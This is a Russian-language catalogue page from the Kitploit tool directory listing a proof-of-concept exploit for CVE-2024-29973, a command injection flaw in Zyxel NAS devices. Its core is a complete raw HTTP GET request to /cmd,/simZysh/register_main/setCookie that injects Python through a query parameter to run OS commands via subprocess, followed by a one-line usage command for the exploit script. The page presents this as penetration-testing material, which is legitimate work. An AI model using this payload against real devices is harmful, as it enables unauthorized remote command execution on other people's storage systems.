Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-29973 — Эксплойт для проверки концепции уязвимости CVE-2024-29973 — уязвимости внедрения команд в устройствах Zyxel NAS. Выполняет произвольные команды ОС через специально сформированный HTTP GET-запрос к конечной точке /cmd,/simZysh/register_main/setCookie. | Kitploit
Инструменты/GitHubGitHub/nanowraith/cve-2024-29973
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и Управление
GitHubnanowraith/cve-2024-29973

CVE-2024-29973

Эксплойт для проверки концепции уязвимости CVE-2024-29973 — уязвимости внедрения команд в устройствах Zyxel NAS. Выполняет произвольные команды ОС через специально сформированный HTTP GET-запрос к конечной точке /cmd,/simZysh/register_main/setCookie.

Репозиторий
1032 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-29973

image-20240619220245325

root@kitploit:~
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: language=en

Использование

root@kitploit:~
Python3 CVE-2024-29973.py
Скачать инструмент